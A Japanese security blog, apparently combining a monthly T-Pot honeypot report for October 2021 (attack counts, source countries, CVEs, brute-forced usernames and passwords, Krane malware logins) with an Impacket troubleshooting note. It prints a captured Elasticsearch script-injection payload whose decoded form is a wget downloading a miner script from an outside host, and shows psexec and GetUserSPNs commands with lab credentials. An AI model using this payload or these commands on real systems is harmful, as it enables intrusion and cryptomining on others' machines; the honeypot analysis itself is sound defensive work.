脆弱性の影響を受けるのは以下条件に該当する場合になる。

  • ドキュメントルート外のファイルがrequire all deniedパラメータにより制限されていない
  • mod_cgiモジュールが有効化されている。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年10月1日-2021年10月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 883,709 ▲1,844,739
2 Honeytrap 749,919 ▲523,547
3 Dionaea 419,244 ▲362,080
4 Heralding 290,754 ▲335,103
5 Rdpy 76,148 ▲82,493
6 Adbhoney 15,789 ▲15,146
7 Mailoney 10,615 ▲3,724
8 ElasticPot 2,733 ▲5,618
9 CitrixHoneypot 1,568 ▲1,490
10 ConPot 1,387 ▲1,817
11 Ciscoasa 1,258 ▲33,653
12 Medpot 711 ▲121
13 Tanner 83 ▲2,966
  • Result
    • 先月と比較して全体のアクセス数が減少

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 568,461 2(↑)
2 Netherlands 474,562 1(↓)
3 China 394,075 3(→)
4 United States 231,655 4(→)
5 India 75,841 9(↑)
6 Vietnam 71,655 11(↑)
7 Brazil 46,562 13(↑)
8 South Korea 33,219 14(↑)
9 Indonesia 29,821 17(↑)
10 Taiwan 28,075 圏外(↑)
11 Japan 24,998 10(↓)
12 Latvia 24,889 16(↑)
13 Sweden 24,718 19(↑)
14 Germany 24,673 15(↑)
15 Monaco 19,813 圏外(↑)
16 Singapore 19,274 8(↓)
17 Mexico 17,223 圏外(↑)
18 Thailand 15,931 圏外(↑)
19 Ukraine 14,398 圏外(↑)
20 Hong Kong 14,314 圏外(↑)
  • Result
    • アクセス数上位の国に変動は無し。
    • 10位以下のアクセス数について先月では圏外だった国がランクインしていた。全体のアクセス数が減少したことで普段ランクインしない国からのアクセスが目立った印象。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,405,632
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 259
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 22
4 CVE-2020-11910 8
5 CVE-2020-8515 CVE-2020-8515 1
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 82,429
2 admin 5,917
3 hadoop 4,281
4 user 2,719
5 sa 2,717
6 oracle 1,616
7 knockknockwhosthere 1,568
8 mysql 1,568
9 git 1,554
10 huawei 1,508
11 22 1,398
12 postgres 1,239
13 (empty) 956
14 !root 705
15 2Wire 698
16 guest 645
17 support 480
18 nproc 403
19 0 369
20 test 364
21 blank 353
22 666666 352
23 adm 351
24 debug 350
25 unknown 339
26 anonymous 261
27 sh 253
28 www 239
29 pi 236
30 ftp 230
31 Admin 199
32 web 184
33 data 180
34 db 179
35 wwwroot 173
36 administrator 166
37 ubuntu 153
38 ftpuser 121
39 info 85
40 backup 75
41 helpdesk 72
42 manager 72
43 mail 71
44 contact 70
45 microsoft 70
46 office 70
47 scan 70
48 smtp 70
49 spam 70
50 www-data 63
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 19,693
2 (empty) 3,426
3 root 1,771
4 knockknockwhosthere 1,568
5 1 1,255
6 blank 1,045
7 123456 1,017
8 password 919
9 12345 769
10 0 529
11 Password 487
12 user 482
13 1234 473
14 666666 425
15 123 421
16 ubnt 405
17 nproc 403
18 0 401
19 support 393
20 master 390
21 alpine 387
22 !ishtar 362
23 backup 359
24 hi3518 358
25 synnet 350
26 unknown 340
27 1q2w3e4r 319
28 12345678 315
29 test 247
30 Passw0rd 219
31 x 205
32 1qaz2wsx 199
33 admin123 160
34 123456789 152
35 abc123 152
36 iloveyou 135
37 111111 120
38 123123 118
39 1234567890 116
40 1234567 115
41 qwerty 110
42 0 109
43 hadoop 93
44 Nr!_CapiBraksjdlfS@4827fVfg1 88
45 raspberry 87
46 321 86
47 system 86
48 123qwe 85
49 postgres 83
50 test123 82
  • Result
    • Nr!_CapiBraksjdlfS@4827fVfg1(44位)はKrane Malwareのアクセスになる。

cujo.com

アクセスログを抽出した結果は以下の通り。

No username password city_name ip country_name
1 root Nr!_CapiBraksjdlfS@3111fVfg1 - 106[.]244[.]10[.]2 South Korea
2 es Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
3 chia Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
4 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
5 azureuser Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
6 git Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
7 tomcat Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
8 web Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
9 cisco Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
10 www Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
11 steam Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
12 rustserver Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
13 hduser Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
14 csgo Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
15 carlos Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
16 pgsql Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
17 ftpadmin Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
18 docker Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
19 ts3server Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
20 ftp Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
21 wpuser Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
22 wordpress Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
23 rudder Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
24 mcserver Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
25 ts3 Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
26 administrator Nr!_CapiBraksjdlfS@4827fVfg1 Cheyenne 107[.]189[.]13[.]122 United States
27 admin Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
28 deploy Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
29 root Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
30 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
31 es Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
32 test Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
33 root@localhost Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
34 ubuntu Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
35 azureuser Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
36 chia Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
37 ansible Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
38 oracle Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
39 hadoop Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
40 centos Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
41 postgres Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
42 ftpuser Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
43 odoo Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
44 esuser Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
45 vagrant Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
46 guest Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
47 minecraft Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
48 joplin Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
49 cms Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
50 cmsuser Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
51 rust Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
52 user Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
53 jenkins Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
54 mysql Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
55 nagios Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
56 deployer Nr!_CapiBraksjdlfS@4827fVfg1 Atlanta 198[.]98[.]48[.]67 United States
57 chia Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]253[.]199 United States
58 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]253[.]199 United States
59 chia Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]254[.]38 United States
60 es Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]254[.]38 United States
61 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]254[.]38 United States
62 azureuser Nr!_CapiBraksjdlfS@4827fVfg1 Buffalo 199[.]195[.]254[.]38 United States
63 es Nr!_CapiBraksjdlfS@4827fVfg1 San Jose 205[.]185[.]113[.]224 United States
64 chia Nr!_CapiBraksjdlfS@4827fVfg1 San Jose 205[.]185[.]113[.]224 United States
65 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 San Jose 205[.]185[.]113[.]224 United States
66 azureuser Nr!_CapiBraksjdlfS@4827fVfg1 San Jose 205[.]185[.]113[.]224 United States
67 web Nr!_CapiBraksjdlfS@4827fVfg1 Las Vegas 209[.]141[.]40[.]193 United States
68 git Nr!_CapiBraksjdlfS@4827fVfg1 Las Vegas 209[.]141[.]40[.]193 United States
69 cisco Nr!_CapiBraksjdlfS@4827fVfg1 Las Vegas 209[.]141[.]40[.]193 United States
70 chia Nr!_CapiBraksjdlfS@4827fVfg1 Las Vegas 209[.]141[.]42[.]170 United States
71 hyjx Nr!_CapiBraksjdlfS@4827fVfg1 Las Vegas 209[.]141[.]42[.]170 United States

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 10月はセキュリティイベントが目白押しで楽しみな反面、通常業務以外の作業が多いので乗り切れて安堵している。
  • CodeBlue のセッション動画は再度1日かけて全て見直したいと思う。
  • 個人的にはAVTokyoに(オンラインだけど)初参加できて良かった。AVTOKYO バッジキット購入のため、山手線の移動ルートを考えながら追いついたのが一番の思い出。来年は自宅でOpen xINT CTFにも参加してみたい。

  • 今月のアクセス。
     bashの内容を文字コードに置き換えたアクセス。ASCIIコード変換すると特定サイトから。

IPアドレス:120[.]79[.]156[.]2

Payload  :

{"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(new String[] {\"/bin/bash\",\"-c\",((char)119+(char)103+(char)101+(char)116+(char)32+(char)104+(char)116+(char)116+(char)112+(char)58+(char)47+(char)47+(char)49+(char)56+(char)53+(char)46+(char)49+(char)56+(char)49+(char)46+(char)49+(char)48+(char)46+(char)50+(char)51+(char)52+(char)47+(char)69+(char)53+(char)68+(char)66+(char)48+(char)69+(char)48+(char)55+(char)67+(char)51+(char)68+(char)55+(char)66+(char)69+(char)56+(char)48+(char)86+(char)53+(char)50+(char)48+(char)47+(char)105+(char)110+(char)105+(char)116+(char)46+(char)115+(char)104+(char)32+(char)45+(char)80+(char)32+(char)47+(char)116+(char)109+(char)112+(char)47+(char)115+(char)115+(char)115+(char)111+(char)111+(char)111).toString() }).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str+\"|\");}sb.toString();"}},"size":1}

 ↓
文字コード部分をPrintable形式にすると以下になる。
 ↓

wget http://185[.]181[.]10[.]234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo

仮想通貨Moneroのminerをインストールさせるmalwareのようだ。

Impacketモジュールの実行に失敗したとき

概要

ImpacketモジュールのGetNPUSers.pypsexec.pyを実行した際にエラーがでることがある。

┌──(root💀kali)-[~]
└─# ./GetUserSPNs.py <ドメイン名>/<ユーザ名>:<パスワード> -dc-ip <DCのIPアドレス> -request
Traceback (most recent call last):
  File "./GetUserSPNs.py", line 42, in <module>
    from pyasn1.codec.der import decoder
ImportError: No module named pyasn1.codec.der

┌──(root💀kali)-[~]
└─# python psexec.py <ドメイン名>/<ユーザ名>:<パスワード>@<ドメイン名>
Traceback (most recent call last):
  File "psexec.py", line 33, in <module>
    from impacket import version, smb
  File "/usr/local/lib/python2.7/dist-packages/impacket/smb.py", line 55, in <module>
    from pyasn1.type.univ import noValue
ImportError: No module named pyasn1.type.univ

原因と対策

python3-pyasn1 で動作するため、python2系で実行するとエラーになる。python3系で実行する。

pyasn1のインストール
┌──(root💀kali)-[~]
└─# sudo apt-get install python3-pyasn1 python3-pyasn1-modules
Impacketモジュールの実行
┌──(root💀kali)-[~]
└─# python3 GetUserSPNs.py <ドメイン名>/<ユーザ名>:<パスワード> -dc-ip <DCのIPアドレス> -request
Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------


┌──(root💀kali)-[/home/kali/Desktop/impacket/examples]
└─# python3 psexec.py active.htb/Administrator:Ticketmaster1968@active.htb 
Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on <ドメイン名>.....
[*] Found writable share <共有名>

参考URL

github.com gitlab.com